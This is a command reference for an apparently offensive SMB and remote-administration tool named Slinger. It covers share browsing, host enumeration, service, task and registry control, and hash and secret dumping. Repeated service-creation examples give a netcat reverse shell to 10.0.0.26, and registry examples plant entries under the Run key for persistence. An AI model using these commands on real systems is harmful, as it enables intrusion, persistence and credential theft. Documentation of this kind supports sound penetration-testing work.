HELP_MENU.md

CLI Commands Documentation

use

Description: Connect to a specific share on the remote server

Help:

use [-h] share
Connect to a specific share on the remote server

Example Usage:

Example Usage: use sharename

Arguments

• share: Specify the share name to connect to
  • Required: Yes

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ls

Description: List contents of a directory at a specified path

Help:

ls [-h] [-s {name,size,created,lastaccess,lastwrite}] [-sr] [-l] [-r depth] [path]
List contents of a directory at a specified path

Example Usage:

Example Usage: ls /path/to/directory

Arguments

• path: Path to list contents, defaults to current path

  • Default: .
  • Required: No

• sort: Sort the directory contents by name, size, or date

  • Choices: name, size, created, lastaccess, lastwrite
  • Default: date
  • Required: No

• recursive: Recursively list directory contents with X depth

  • Required: No

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shares

Description: List all shares available on the remote server

Help:

shares [-h] [-l]
List all shares available on the remote server

Example Usage:

Example Usage: shares

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enumshares

Description: List all shares available on the remote server

Help:

shares [-h] [-l]
List all shares available on the remote server

Example Usage:

Example Usage: shares

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cat

Description: Display the contents of a specified file on the remote server

Help:

cat [-h] remote_path
Display the contents of a specified file on the remote server

Example Usage:

Example Usage: cat /path/to/file

Arguments

• remote_path: Specify the remote file path to display contents
  • Required: Yes

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cd

Description: Change to a different directory on the remote server

Help:

cd [-h] [path]
Change to a different directory on the remote server

Example Usage:

Example Usage: cd /path/to/directory

Arguments

• path: Directory path to change to, defaults to current directory
  • Default: .
  • Required: No

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pwd

Description: Print the current working directory on the remote server

Help:

pwd [-h]
Print the current working directory on the remote server

Example Usage:

Example Usage: pwd

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exit

Description: Exit the application

Help:

exit [-h]
Exit the application

Example Usage:

Example Usage: exit

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quit

Description: Exit the application

Help:

exit [-h]
Exit the application

Example Usage:

Example Usage: exit

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logout

Description: Exit the application

Help:

exit [-h]
Exit the application

Example Usage:

Example Usage: exit

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logoff

Description: Exit the application

Help:

exit [-h]
Exit the application

Example Usage:

Example Usage: exit

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clear

Description: Clear the screen

Help:

clear [-h]
Clear the screen

Example Usage:

Example Usage: clear

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help

Description: Display help information for the application

Help:

help [-h] [cmd]
Display help information for the application

Example Usage:

Example Usage: help

Arguments

• cmd: Specify a command to show help for
  • Required: No

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who

Description: List the current sessions connected to the target host

Help:

who [-h]
List the current sessions connected to the target host

Example Usage:

Example Usage: who

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enumdisk

Description: Enumerate server disk information

Help:

enumdisk [-h]
Enumerate server disk information

Example Usage:

Example Usage: enumdisk

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enumlogons

Description: Enumerate users currently logged on the server

Help:

enumlogons [-h]
Enumerate users currently logged on the server

Example Usage:

Example Usage: enumlogons

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enuminfo

Description: Enumerate detailed information about the remote host

Help:

enuminfo [-h]
Enumerate detailed information about the remote host

Example Usage:

Example Usage: enuminfo

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enumsys

Description: Enumerate system information of the remote host

Help:

enumsys [-h]
Enumerate system information of the remote host

Example Usage:

Example Usage: enumsys

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enumtransport

Description: Enumerate transport information of the remote host

Help:

enumtransport [-h]
Enumerate transport information of the remote host

Example Usage:

Example Usage: enumtransport

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enumservices

Description: Enumerate services on the remote host

Help:

enumservices [-h] [-n] [--filter FILTER]
Enumerate services on the remote host

Example Usage:

Example Usage: enumservices --filter name=spooler OR enumservices --filter state=running OR enumservices -n

Arguments

• filter: Filter services by name or state
  • Required: No

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servicesenum

Description: Enumerate services on the remote host

Help:

enumservices [-h] [-n] [--filter FILTER]
Enumerate services on the remote host

Example Usage:

Example Usage: enumservices --filter name=spooler OR enumservices --filter state=running OR enumservices -n

Arguments

• filter: Filter services by name or state
  • Required: No

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svcenum

Description: Enumerate services on the remote host

Help:

enumservices [-h] [-n] [--filter FILTER]
Enumerate services on the remote host

Example Usage:

Example Usage: enumservices --filter name=spooler OR enumservices --filter state=running OR enumservices -n

Arguments

• filter: Filter services by name or state
  • Required: No

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services

Description: Enumerate services on the remote host

Help:

enumservices [-h] [-n] [--filter FILTER]
Enumerate services on the remote host

Example Usage:

Example Usage: enumservices --filter name=spooler OR enumservices --filter state=running OR enumservices -n

Arguments

• filter: Filter services by name or state
  • Required: No

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serviceshow

Description: Show details of a specific service on the remote server

Help:

serviceshow [-h] (-i SERVICEID | service_name)
Show details of a specific service on the remote server

Example Usage:

Example Usage: serviceshow -i 123

Arguments

• serviceid: Specify the ID of the service to show details for

  • Required: No

• service_name: Specify the name of the service to show

  • Required: No

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svcshow

Description: Show details of a specific service on the remote server

Help:

serviceshow [-h] (-i SERVICEID | service_name)
Show details of a specific service on the remote server

Example Usage:

Example Usage: serviceshow -i 123

Arguments

• serviceid: Specify the ID of the service to show details for

  • Required: No

• service_name: Specify the name of the service to show

  • Required: No

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showservice

Description: Show details of a specific service on the remote server

Help:

serviceshow [-h] (-i SERVICEID | service_name)
Show details of a specific service on the remote server

Example Usage:

Example Usage: serviceshow -i 123

Arguments

• serviceid: Specify the ID of the service to show details for

  • Required: No

• service_name: Specify the name of the service to show

  • Required: No

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servicestart

Description: Start a specified service on the remote server

Help:

servicestart [-h] (-i SERVICEID | service_name)
Start a specified service on the remote server

Example Usage:

Example Usage: servicestart -i 123  OR svcstart Spooler

Arguments

• serviceid: Specify the ID of the service to start

  • Required: No

• service_name: Specify the name of the service to start

  • Required: No

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svcstart

Description: Start a specified service on the remote server

Help:

servicestart [-h] (-i SERVICEID | service_name)
Start a specified service on the remote server

Example Usage:

Example Usage: servicestart -i 123  OR svcstart Spooler

Arguments

• serviceid: Specify the ID of the service to start

  • Required: No

• service_name: Specify the name of the service to start

  • Required: No

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servicerun

Description: Start a specified service on the remote server

Help:

servicestart [-h] (-i SERVICEID | service_name)
Start a specified service on the remote server

Example Usage:

Example Usage: servicestart -i 123  OR svcstart Spooler

Arguments

• serviceid: Specify the ID of the service to start

  • Required: No

• service_name: Specify the name of the service to start

  • Required: No

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servicestop

Description: Stop a specified service on the remote server

Help:

servicestop [-h] (-i SERVICEID | service_name)
Stop a specified service on the remote server

Example Usage:

Example Usage: servicestop -i 123  OR svcstop Spooler

Arguments

• serviceid: Specify the ID of the service to stop

  • Required: No

• service_name: Specify the name of the service to stop

  • Required: No

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svcstop

Description: Stop a specified service on the remote server

Help:

servicestop [-h] (-i SERVICEID | service_name)
Stop a specified service on the remote server

Example Usage:

Example Usage: servicestop -i 123  OR svcstop Spooler

Arguments

• serviceid: Specify the ID of the service to stop

  • Required: No

• service_name: Specify the name of the service to stop

  • Required: No

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serviceenable

Description: Enable a specified service on the remote server

Help:

serviceenable [-h] (-i SERVICEID | service_name)
Enable a specified service on the remote server

Example Usage:

Example Usage: serviceenable -i 123  OR svcenable Spooler

Arguments

• serviceid: Specify the ID of the service to enable

  • Required: No

• service_name: Specify the name of the service to enable

  • Required: No

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svcenable

Description: Enable a specified service on the remote server

Help:

serviceenable [-h] (-i SERVICEID | service_name)
Enable a specified service on the remote server

Example Usage:

Example Usage: serviceenable -i 123  OR svcenable Spooler

Arguments

• serviceid: Specify the ID of the service to enable

  • Required: No

• service_name: Specify the name of the service to enable

  • Required: No

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enableservice

Description: Enable a specified service on the remote server

Help:

serviceenable [-h] (-i SERVICEID | service_name)
Enable a specified service on the remote server

Example Usage:

Example Usage: serviceenable -i 123  OR svcenable Spooler

Arguments

• serviceid: Specify the ID of the service to enable

  • Required: No

• service_name: Specify the name of the service to enable

  • Required: No

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enablesvc

Description: Enable a specified service on the remote server

Help:

serviceenable [-h] (-i SERVICEID | service_name)
Enable a specified service on the remote server

Example Usage:

Example Usage: serviceenable -i 123  OR svcenable Spooler

Arguments

• serviceid: Specify the ID of the service to enable

  • Required: No

• service_name: Specify the name of the service to enable

  • Required: No

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servicedisable

Description: Disable a specified service on the remote server

Help:

servicedisable [-h] (-i SERVICEID | service_name)
Disable a specified service on the remote server

Example Usage:

Example Usage: servicedisable -i 123  OR svcdisable Spooler

Arguments

• serviceid: Specify the ID of the service to disable

  • Required: No

• service_name: Specify the name of the service to disable

  • Required: No

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svcdisable

Description: Disable a specified service on the remote server

Help:

servicedisable [-h] (-i SERVICEID | service_name)
Disable a specified service on the remote server

Example Usage:

Example Usage: servicedisable -i 123  OR svcdisable Spooler

Arguments

• serviceid: Specify the ID of the service to disable

  • Required: No

• service_name: Specify the name of the service to disable

  • Required: No

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disableservice

Description: Disable a specified service on the remote server

Help:

servicedisable [-h] (-i SERVICEID | service_name)
Disable a specified service on the remote server

Example Usage:

Example Usage: servicedisable -i 123  OR svcdisable Spooler

Arguments

• serviceid: Specify the ID of the service to disable

  • Required: No

• service_name: Specify the name of the service to disable

  • Required: No

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disablesvc

Description: Disable a specified service on the remote server

Help:

servicedisable [-h] (-i SERVICEID | service_name)
Disable a specified service on the remote server

Example Usage:

Example Usage: servicedisable -i 123  OR svcdisable Spooler

Arguments

• serviceid: Specify the ID of the service to disable

  • Required: No

• service_name: Specify the name of the service to disable

  • Required: No

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servicedel

Description: Delete a specified service on the remote server

Help:

servicedel [-h] (-i SERVICEID | service_name)
Delete a specified service on the remote server

Example Usage:

Example Usage: servicedelete -i 123  OR svcdelete Spooler

Arguments

• serviceid: Specify the ID of the service to delete

  • Required: No

• service_name: Specify the name of the service to delete

  • Required: No

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svcdelete

Description: Delete a specified service on the remote server

Help:

servicedel [-h] (-i SERVICEID | service_name)
Delete a specified service on the remote server

Example Usage:

Example Usage: servicedelete -i 123  OR svcdelete Spooler

Arguments

• serviceid: Specify the ID of the service to delete

  • Required: No

• service_name: Specify the name of the service to delete

  • Required: No

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servicedelete

Description: Delete a specified service on the remote server

Help:

servicedel [-h] (-i SERVICEID | service_name)
Delete a specified service on the remote server

Example Usage:

Example Usage: servicedelete -i 123  OR svcdelete Spooler

Arguments

• serviceid: Specify the ID of the service to delete

  • Required: No

• service_name: Specify the name of the service to delete

  • Required: No

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serviceadd

Description: Create a new service on the remote server

Help:

serviceadd [-h] -n SERVICENAME -b BINARYPATH -d DISPLAYNAME -s {auto,demand,system}
Create a new service on the remote server

Example Usage:

Example Usage: -b "C:\nc.exe 10.0.0.26 8080 -e cmd.exe"

Arguments

• servicename: Specify the name of the new service

  • Required: Yes

• binarypath: Specify the binary path of the new service

  • Required: Yes

• displayname: Specify the display name of the new service

  • Required: Yes

• starttype: Specify the start type of the new service

  • Choices: auto, demand, system
  • Default: demand
  • Required: Yes

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svcadd

Description: Create a new service on the remote server

Help:

serviceadd [-h] -n SERVICENAME -b BINARYPATH -d DISPLAYNAME -s {auto,demand,system}
Create a new service on the remote server

Example Usage:

Example Usage: -b "C:\nc.exe 10.0.0.26 8080 -e cmd.exe"

Arguments

• servicename: Specify the name of the new service

  • Required: Yes

• binarypath: Specify the binary path of the new service

  • Required: Yes

• displayname: Specify the display name of the new service

  • Required: Yes

• starttype: Specify the start type of the new service

  • Choices: auto, demand, system
  • Default: demand
  • Required: Yes

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servicecreate

Description: Create a new service on the remote server

Help:

serviceadd [-h] -n SERVICENAME -b BINARYPATH -d DISPLAYNAME -s {auto,demand,system}
Create a new service on the remote server

Example Usage:

Example Usage: -b "C:\nc.exe 10.0.0.26 8080 -e cmd.exe"

Arguments

• servicename: Specify the name of the new service

  • Required: Yes

• binarypath: Specify the binary path of the new service

  • Required: Yes

• displayname: Specify the display name of the new service

  • Required: Yes

• starttype: Specify the start type of the new service

  • Choices: auto, demand, system
  • Default: demand
  • Required: Yes

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svccreate

Description: Create a new service on the remote server

Help:

serviceadd [-h] -n SERVICENAME -b BINARYPATH -d DISPLAYNAME -s {auto,demand,system}
Create a new service on the remote server

Example Usage:

Example Usage: -b "C:\nc.exe 10.0.0.26 8080 -e cmd.exe"

Arguments

• servicename: Specify the name of the new service

  • Required: Yes

• binarypath: Specify the binary path of the new service

  • Required: Yes

• displayname: Specify the display name of the new service

  • Required: Yes

• starttype: Specify the start type of the new service

  • Choices: auto, demand, system
  • Default: demand
  • Required: Yes

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enumtasks

Description: Enumerate scheduled tasks on the remote server

Help:

enumtasks [-h]
Enumerate scheduled tasks on the remote server

Example Usage:

Example Usage: enumtasks

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tasksenum

Description: Enumerate scheduled tasks on the remote server

Help:

enumtasks [-h]
Enumerate scheduled tasks on the remote server

Example Usage:

Example Usage: enumtasks

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taskenum

Description: Enumerate scheduled tasks on the remote server

Help:

enumtasks [-h]
Enumerate scheduled tasks on the remote server

Example Usage:

Example Usage: enumtasks

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taskshow

Description: Show details of a specific task on the remote server

Help:

taskshow [-h] (-i TASKID | task_path)
Show details of a specific task on the remote server

Example Usage:

Example Usage: tasksshow -i 123

Arguments

• taskid: Specify the ID of the task to show

  • Required: No

• task_path: Specify the full path of the task to show

  • Required: No

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tasksshow

Description: Show details of a specific task on the remote server

Help:

taskshow [-h] (-i TASKID | task_path)
Show details of a specific task on the remote server

Example Usage:

Example Usage: tasksshow -i 123

Arguments

• taskid: Specify the ID of the task to show

  • Required: No

• task_path: Specify the full path of the task to show

  • Required: No

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showtask

Description: Show details of a specific task on the remote server

Help:

taskshow [-h] (-i TASKID | task_path)
Show details of a specific task on the remote server

Example Usage:

Example Usage: tasksshow -i 123

Arguments

• taskid: Specify the ID of the task to show

  • Required: No

• task_path: Specify the full path of the task to show

  • Required: No

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taskcreate

Description: Create a new scheduled task on the remote server

Help:

taskcreate [-h] -n NAME -p PROGRAM [-a ARGUMENTS] [-f FOLDER] [-i INTERVAL] [-d DATE]
Create a new scheduled task on the remote server

Example Usage:

Example Usage: taskcreate -n newtask -p cmd.exe -a '/c ipconfig /all > C:\test' -f \\Windows

Arguments

• name: Specify the name of the new task

  • Required: Yes

• program: Specify the program to run (cmd.exe)

  • Required: Yes

• arguments: Specify the arguments to pass to the program

  • Required: No

• folder: Specify the folder to create the task in

  • Default: ``
  • Required: No

• interval: Specify an interval in minutes to run the task

  • Required: No

• date: Specify the date to start the task (2099-12-31 14:01:00)

  • Required: No

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taskadd

Description: Create a new scheduled task on the remote server

Help:

taskcreate [-h] -n NAME -p PROGRAM [-a ARGUMENTS] [-f FOLDER] [-i INTERVAL] [-d DATE]
Create a new scheduled task on the remote server

Example Usage:

Example Usage: taskcreate -n newtask -p cmd.exe -a '/c ipconfig /all > C:\test' -f \\Windows

Arguments

• name: Specify the name of the new task

  • Required: Yes

• program: Specify the program to run (cmd.exe)

  • Required: Yes

• arguments: Specify the arguments to pass to the program

  • Required: No

• folder: Specify the folder to create the task in

  • Default: ``
  • Required: No

• interval: Specify an interval in minutes to run the task

  • Required: No

• date: Specify the date to start the task (2099-12-31 14:01:00)

  • Required: No

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taskrun

Description: Run a specified task on the remote server

Help:

taskrun [-h] task_path
Run a specified task on the remote server

Example Usage:

Example Usage: taskrun \\Windows\\newtask

Arguments

• task_path: Specify the full path of the task to run
  • Required: Yes

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taskexec

Description: Run a specified task on the remote server

Help:

taskrun [-h] task_path
Run a specified task on the remote server

Example Usage:

Example Usage: taskrun \\Windows\\newtask

Arguments

• task_path: Specify the full path of the task to run
  • Required: Yes

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taskdelete

Description: Delete a specified task on the remote server

Help:

taskdelete [-h] [-i TASKID] [task_path]
Delete a specified task on the remote server

Example Usage:

Example Usage: taskdelete -i 123

Arguments

• task_path: Specify the full path of the task to delete

  • Required: No

• taskid: Specify the ID of the task to delete

  • Required: No

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taskdel

Description: Delete a specified task on the remote server

Help:

taskdelete [-h] [-i TASKID] [task_path]
Delete a specified task on the remote server

Example Usage:

Example Usage: taskdelete -i 123

Arguments

• task_path: Specify the full path of the task to delete

  • Required: No

• taskid: Specify the ID of the task to delete

  • Required: No

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taskrm

Description: Delete a specified task on the remote server

Help:

taskdelete [-h] [-i TASKID] [task_path]
Delete a specified task on the remote server

Example Usage:

Example Usage: taskdelete -i 123

Arguments

• task_path: Specify the full path of the task to delete

  • Required: No

• taskid: Specify the ID of the task to delete

  • Required: No

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upload

Description: Upload a file to the remote server

Help:

upload [-h] local_path [remote_path]
Upload a file to the remote server

Example Usage:

Example Usage: upload /local/path /remote/path

Arguments

• local_path: Specify the local file path to upload

  • Required: Yes

• remote_path: Specify the remote file path to upload to, optional

  • Required: No

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put

Description: Upload a file to the remote server

Help:

upload [-h] local_path [remote_path]
Upload a file to the remote server

Example Usage:

Example Usage: upload /local/path /remote/path

Arguments

• local_path: Specify the local file path to upload

  • Required: Yes

• remote_path: Specify the remote file path to upload to, optional

  • Required: No

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download

Description: Download a file from the remote server

Help:

download [-h] remote_path [local_path]
Download a file from the remote server

Example Usage:

Example Usage: download /remote/path /local/path

Arguments

• remote_path: Specify the remote file path to download

  • Required: Yes

• local_path: Specify the local file path to download to, optional

  • Required: No

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get

Description: Download a file from the remote server

Help:

download [-h] remote_path [local_path]
Download a file from the remote server

Example Usage:

Example Usage: download /remote/path /local/path

Arguments

• remote_path: Specify the remote file path to download

  • Required: Yes

• local_path: Specify the local file path to download to, optional

  • Required: No

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mget

Description: Download all files from a specified directory and its subdirectories

Help:

mget [-h] [-r] [-p regex] [-d D] [remote_path] [local_path]
Download all files from a specified directory and its subdirectories

Example Usage:

Example Usage: mget /remote/path /local/path

Arguments

• remote_path: Specify the remote directory path to download from

  • Required: No

• local_path: Specify the local directory path where files will be downloaded

  • Required: No

• p: Specify a regex pattern to match filenames

  • Required: No

• d: Specify folder depth count for recursion

  • Default: 2
  • Required: No

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mkdir

Description: Create a new directory on the remote server

Help:

mkdir [-h] path
Create a new directory on the remote server

Example Usage:

Example Usage: mkdir /path/to/new/directory

Arguments

• path: Specify the path of the directory to create
  • Required: Yes

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rmdir

Description: Remove a directory on the remote server

Help:

rmdir [-h] remote_path
Remove a directory on the remote server

Example Usage:

Example Usage: rmdir /path/to/remote/directory

Arguments

• remote_path: Specify the remote path of the directory to remove
  • Required: Yes

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rm

Description: Delete a file on the remote server

Help:

rm [-h] remote_path
Delete a file on the remote server

Example Usage:

Example Usage: rm /path/to/remote/file

Arguments

• remote_path: Specify the remote file path to delete
  • Required: Yes

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#shell

Description: Enter local terminal mode for command execution

Help:

#shell [-h]
Enter local terminal mode for command execution

Example Usage:

Example Usage: #shell

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!

Description: Run a specified local command

Help:

! [-h] ...
Run a specified local command

Example Usage:

Example Usage: ! ls -l

Arguments

• commands: Specify the local commands to run
  • Required: No

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info

Description: Display the status of the current session

Help:

info [-h]
Display the status of the current session

Example Usage:

Example Usage: info

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reguse

Description: Connect to a remote registry on the remote server

Help:

reguse [-h]
Connect to a remote registry on the remote server

Example Usage:

Example Usage: reguse

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regstart

Description: Connect to a remote registry on the remote server

Help:

reguse [-h]
Connect to a remote registry on the remote server

Example Usage:

Example Usage: reguse

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regstop

Description: Disconnect from a remote registry on the remote server

Help:

regstop [-h]
Disconnect from a remote registry on the remote server

Example Usage:

Example Usage: regstop

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regquery

Description: Query a registry key on the remote server

Help:

regquery [-h] [-l] [-v] key
Query a registry key on the remote server

Example Usage:

Example Usage: regquery HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run

Arguments

• key: Specify the registry key to query
  • Required: Yes

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regset

Description: Set a registry value on the remote server

Help:

regset [-h] -k KEY -v VALUE -d DATA [-t TYPE]
Set a registry value on the remote server

Example Usage:

Example Usage: regset -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ -v test -d "C:\test.exe"

Arguments

• key: Specify the registry key to set

  • Required: Yes

• value: Specify the registry value to set

  • Required: Yes

• data: Specify the registry data to set

  • Required: Yes

• type: Specify the registry type to set

  • Default: REG_SZ
  • Required: No

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regdel

Description: Delete a registry value on the remote server

Help:

regdel [-h] -k KEY [-v VALUE]
Delete a registry value on the remote server

Example Usage:

Example Usage: regdel -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ -v test

Arguments

• key: Specify the registry key to delete

  • Required: Yes

• value: Specify the registry value to delete

  • Required: No

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regcreate

Description: Create a registry key on the remote server

Help:

regcreate [-h] key
Create a registry key on the remote server

Example Usage:

Example Usage: regcreate -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\test

Arguments

• key: Specify the registry key to create
  • Required: Yes

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regcheck

Description: Check if a registry key exists on the remote server. This is really just an exposed helper function.

Help:

regcheck [-h] key
Check if a registry key exists on the remote server.  This is really just an exposed helper function.

Example Usage:

Example Usage: regcheck HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\test

Arguments

• key: Specify the registry key to check
  • Required: Yes

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portfwd

Description: Forward a local port to a remote port on the remote server

Help:

portfwd [-h] (-d | -a | -l | -c | --load) local remote
Forward a local port to a remote port on the remote server

Example Usage:

Example Usage: portfwd (-a|-d) [lhost]:[lport] [rhost]:[rport]

Arguments

• local: Specify the local host and port to forward from

  • Required: Yes

• remote: Specify the remote host and port to forward to

  • Required: Yes

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ifconfig

Description: Display network interfaces on the remote server

Help:

ifconfig [-h]
Display network interfaces on the remote server

Example Usage:

Example Usage: ifconfig

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ipconfig

Description: Display network interfaces on the remote server

Help:

ifconfig [-h]
Display network interfaces on the remote server

Example Usage:

Example Usage: ifconfig

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enuminterfaces

Description: Display network interfaces on the remote server

Help:

ifconfig [-h]
Display network interfaces on the remote server

Example Usage:

Example Usage: ifconfig

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hostname

Description: Display the hostname of the remote server

Help:

hostname [-h]
Display the hostname of the remote server

Example Usage:

Example Usage: hostname

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procs

Description: List running processes on the remote server

Help:

procs [-h] [-v] [-t]
List running processes on the remote server

Example Usage:

Example Usage: procs -t -v

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ps

Description: List running processes on the remote server

Help:

procs [-h] [-v] [-t]
List running processes on the remote server

Example Usage:

Example Usage: procs -t -v

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tasklist

Description: List running processes on the remote server

Help:

procs [-h] [-v] [-t]
List running processes on the remote server

Example Usage:

Example Usage: procs -t -v

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fwrules

Description: Display firewall rules on the remote server

Help:

fwrules [-h]
Display firewall rules on the remote server

Example Usage:

Example Usage: fwrules

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set

Description: Set a variable for use in the application

Help:

set [-h] varname value
Set a variable for use in the application

Example Usage:

Example Usage: set varname value

Arguments

• varname: Set the debug variable to True or False

  • Required: Yes

• value: Set the mode variable to True or False

  • Required: Yes

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config

Description: Show the current config

Help:

config [-h]
Show the current config

Example Usage:

Example Usage: config

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run

Description: Run a slinger script or command sequence

Help:

run [-h] (-c CMD_CHAIN | -f FILE)
Run a slinger script or command sequence

Example Usage:

Example Usage: run -c "use C$;cd Users;cd Administrator;cd Downloads;ls"

Arguments

• cmd_chain: Specify a command sequence to run

  • Required: No

• file: Specify a script file to run

  • Required: No

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hashdump

Description: Dump hashes from the remote server

Help:

hashdump [-h]
Dump hashes from the remote server

Example Usage:

Example Usage: hashdump

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secretsdump

Description: Dump secrets from the remote server

Help:

secretsdump [-h]
Dump secrets from the remote server

Example Usage:

Example Usage: secretsdump

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env

Description: Display environment variables on the remote server

Help:

env [-h]
Display environment variables on the remote server

Example Usage:

Example Usage: env

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debug-availcounters

Description: Display available performance counters on the remote server. This is for debug use only, it doesn't really give you anything.

Help:

debug-availcounters [-h] [-f FILTER] [-p] [-s filename]
Display available performance counters on the remote server.  This is for debug use only, it doesn't really give you anything.

Example Usage:

Example Usage: availcounters

Arguments

• filter: Simple filter for case insenstive counters containing a given string

  • Required: No

• save: Save the available counters to a file

  • Required: No

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debug-counter

Description: Display a performance counter on the remote server. This is for debug use only, it doesn't really give you anything.

Help:

debug-counter [-h] [-c COUNTER] [-a {x86,x64,unk}] [-i]
Display a performance counter on the remote server.  This is for debug use only, it doesn't really give you anything.

Example Usage:

Example Usage: counter -c 123 [-a x86]

Arguments

• counter: Specify the counter to display

  • Required: No

• arch: Specify the architecture of the remote server

  • Choices: x86, x64, unk
  • Default: unk
  • Required: No

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network

Description: Display network information on the remote server

Help:

network [-h] [-tcp] [-rdp]
Display network information on the remote server

Example Usage:

Example Usage: network

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atexec

Description: Execute a command on the remote server

Help:

atexec [-h] -c COMMAND -sp PATH [-sn SAVE_NAME] -tn NAME [-ta AUTHOR] [-td DESCRIPTION] [-tf FOLDER] [-sh SHARE] [--shell] [-w WAIT]
Execute a command on the remote server

Example Usage:

Example Usage: atexec -tn "NetSvc" -sh C$ -sp \\Users\\Public\\Downloads\\ -c ipconfig

Arguments

• command: Specify the command to execute

  • Required: Yes

• path: Specify the folder to save the output file

  • Default: \Users\Public\Downloads\
  • Required: Yes

• save_name: Specify the name of the output file. Default is <random 8-10 chars>.txt

  • Required: No

• name: Specify the name of the scheduled task

  • Required: Yes

• author: Specify the author of the scheduled task

  • Default: Slinger
  • Required: No

• description: Specify the description of the scheduled task

  • Default: Scheduled task created by Slinger
  • Required: No

• folder: Specify the folder to run the task in

  • Default: \Windows
  • Required: No

• share: Specify the share name to connect to

  • Default: C$
  • Required: No

• wait: Seconds to wait for the task to complete

  • Default: 1
  • Required: No

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reload

Description: Reload the current sessions context

Help:

reload [-h]
Reload the current sessions context

Example Usage:

Example Usage: reload

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plugins

Description: List available plugins

Help:

plugins [-h]
List available plugins

Example Usage:

Example Usage: plugins

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